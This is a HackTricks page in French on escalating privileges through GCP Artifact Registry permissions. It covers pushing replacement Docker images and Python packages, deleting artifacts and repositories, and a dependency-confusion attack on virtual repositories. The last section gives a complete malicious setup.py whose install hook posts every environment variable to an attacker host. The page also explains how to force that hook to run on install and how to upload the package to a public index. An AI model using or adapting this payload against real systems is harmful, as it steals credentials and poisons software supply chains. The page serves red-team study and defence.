GCP - Artifact Registry Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Artifact Registry

Pour plus d’informations sur Artifact Registry, consultez :

GCP - Artifact Registry Enum

artifactregistry.repositories.uploadArtifacts

Avec cette permission, un attaquant pourrait téléverser de nouvelles versions des artefacts contenant du code malveillant, comme des images Docker :

Téléverser une image Docker vers Artifact Registry ```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

tag the image to upload it

docker tag : -docker.pkg.dev///:

Upload it

docker push -docker.pkg.dev///:

</details>

> [!CAUTION]
> Il a Ă©tĂ© vĂ©rifiĂ© qu'il est **possible d'uploader une nouvelle image docker malveillante** avec le mĂȘme nom et tag que celle dĂ©jĂ  prĂ©sente, donc la **ancienne perdra le tag** et la prochaine fois que l'image avec ce tag sera **tĂ©lĂ©chargĂ©e, la malveillante sera tĂ©lĂ©chargĂ©e**.

<details>

<summary>Téléverser une bibliothÚque Python</summary>

**Commencez par créer la bibliothÚque à téléverser** (si vous pouvez télécharger la derniÚre version depuis le registry vous pouvez éviter cette étape):

1.  **Configurez la structure de votre projet**:

- Créez un nouveau répertoire pour votre bibliothÚque, par ex., `hello_world_library`.
- À l'intĂ©rieur de ce rĂ©pertoire, crĂ©ez un autre rĂ©pertoire avec le nom de votre package, par ex., `hello_world`.
- Dans le rĂ©pertoire de votre package, crĂ©ez un fichier `__init__.py`. Ce fichier peut ĂȘtre vide ou contenir des initialisations pour votre package.

<details>
<summary>Créer la structure du projet</summary>

```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
  1. Écrivez le code de votre bibliothùque:
  • Dans le rĂ©pertoire hello_world, crĂ©ez un nouveau fichier Python pour votre module, par ex., greet.py.
  • Écrivez votre fonction “Hello, World!” :
Créer le module de la bibliothÚque
# hello_world/greet.py
def say_hello():
return "Hello, World!"
  1. Créez un fichier setup.py:
  • À la racine de votre rĂ©pertoire hello_world_library, crĂ©ez un fichier setup.py.
  • Ce fichier contient les mĂ©tadonnĂ©es de votre bibliothĂšque et indique Ă  Python comment l’installer.
Créer le fichier setup.py
# setup.py
from setuptools import setup, find_packages

setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)

Maintenant, téléversez la bibliothÚque :

  1. Construisez votre package:
  • Depuis la racine de votre rĂ©pertoire hello_world_library, exĂ©cutez :
Construire le package Python
python3 setup.py sdist bdist_wheel
  1. Configurez l’authentification pour twine (utilisĂ© pour tĂ©lĂ©verser votre package):
  • Assurez-vous d’avoir twine installĂ© (pip install twine).
  • Utilisez gcloud pour configurer les credentials :
Téléverser le package avec twine ```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://-python.pkg.dev/// dist/* ```
  1. Nettoyer la compilation
Nettoyer les artefacts de compilation ```bash rm -rf dist build hello_world.egg-info ```

Caution

Il n’est pas possible de tĂ©lĂ©verser une bibliothĂšque python avec la mĂȘme version que celle dĂ©jĂ  prĂ©sente, mais il est possible de tĂ©lĂ©verser des versions supĂ©rieures (ou d’ajouter un .0 Ă  la fin de la version si cela fonctionne — pas en python cependant —), ou de supprimer la derniĂšre version et d’en tĂ©lĂ©verser une nouvelle avec (nĂ©cessite artifactregistry.versions.delete):

Delete artifact version
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>

artifactregistry.repositories.downloadArtifacts

Avec cette permission, vous pouvez télécharger des artifacts et rechercher des informations sensibles et des vulnérabilités.

Download a Docker image:

Télécharger une image Docker depuis Artifact Registry ```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

Dowload image

docker pull -docker.pkg.dev///:

</details>

Télécharger une bibliothÚque **python** :

<details>
<summary>Télécharger une bibliothÚque **python** depuis Artifact Registry</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
  • Que se passe-t-il si des registres distants et standards sont mĂ©langĂ©s dans un registre virtuel et qu’un package existe dans les deux ? Consultez cette page:

GCP - Artifact Registry Persistence

artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)

Supprimer des artefacts du registre, comme des images docker :

Supprimer une image Docker depuis Artifact Registry ```bash # Delete a docker image gcloud artifacts docker images delete -docker.pkg.dev///: ```

artifactregistry.repositories.delete

Supprimer un dĂ©pĂŽt complet (mĂȘme s’il contient du contenu) :

Supprimer le référentiel Artifact Registry ``` gcloud artifacts repositories delete --location= ```

artifactregistry.repositories.setIamPolicy

Un attaquant disposant de cette permission pourrait s’accorder des droits pour effectuer certaines des attaques sur les dĂ©pĂŽts mentionnĂ©es prĂ©cĂ©demment.

Pivoting to other Services through Artifact Registry Read & Write

  • Cloud Functions

When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. J’ai essayĂ© de modifier l’image avec une nouvelle, et mĂȘme de supprimer l’image actuelle (et l’image cache) et rien n’a changĂ©, la Cloud Function continue de fonctionner. Par consĂ©quent, il pourrait ĂȘtre possible d’abuser d’un Race Condition attack comme avec le bucket pour changer le conteneur docker qui sera exĂ©cutĂ© mais seulement modifier l’image stockĂ©e ne permet pas de compromettre la Cloud Function.

  • App Engine

Even though App Engine creates docker images inside Artifact Registry. Il a Ă©tĂ© testĂ© que mĂȘme si vous modifiez l’image Ă  l’intĂ©rieur de ce service et supprimez l’instance App Engine (donc une nouvelle est dĂ©ployĂ©e) le code exĂ©cutĂ© ne change pas.
Il pourrait ĂȘtre possible qu’en rĂ©alisant une Race Condition attack comme avec les buckets il soit possible d’écraser le code exĂ©cutĂ©, mais cela n’a pas Ă©tĂ© testĂ©.

artifactregistry.repositories.update

An attacker does not need specific Artifact Registry permissions to exploit this issue—only a vulnerable virtual-repository configuration. Cela se produit lorsqu’un dĂ©pĂŽt virtuel combine un dĂ©pĂŽt distant public (p. ex., PyPI, npm) avec un dĂ©pĂŽt interne, et que la source distante a une prioritĂ© Ă©gale ou supĂ©rieure. Si les deux contiennent un package portant le mĂȘme nom, le systĂšme sĂ©lectionne la version la plus Ă©levĂ©e. L’attaquant n’a qu’à connaĂźtre le nom du package interne et ĂȘtre capable de publier des packages dans le registre public correspondant.

With the artifactregistry.repositories.update permission, an attacker could change a virtual repository’s upstream settings to intentionally create this vulnerable setup and use Dependency Confusion as a persistence method by inserting malicious packages that developers or CI/CD systems may install automatically.

The attacker creates a malicious version of the internal package in the public repository with a higher version number. For Python packages, this means preparing a package structure that mimics the legitimate one.

mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"

Un fichier setup.py est ensuite créé, contenant du code malveillant qui s’exĂ©cuterait lors de l’installation. Ce fichier doit spĂ©cifier un numĂ©ro de version supĂ©rieur Ă  celui du dĂ©pĂŽt privĂ©.

cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)

class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()

setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF

Construisez le package et supprimez le wheel afin de garantir que le code est exĂ©cutĂ© lors de l’installation.

python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl

Téléversez le paquet malveillant dans le dépÎt public (par exemple, test.pypi.org pour Python).

pip install twine
twine upload --repository testpypi dist/*

Lorsqu’un systĂšme ou un service installe le package en utilisant le dĂ©pĂŽt virtuel, il tĂ©lĂ©chargera la version malveillante depuis le dĂ©pĂŽt public plutĂŽt que la version interne lĂ©gitime, car la version malveillante a un numĂ©ro de version supĂ©rieur et le dĂ©pĂŽt distant a une prioritĂ© Ă©gale ou supĂ©rieure.

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks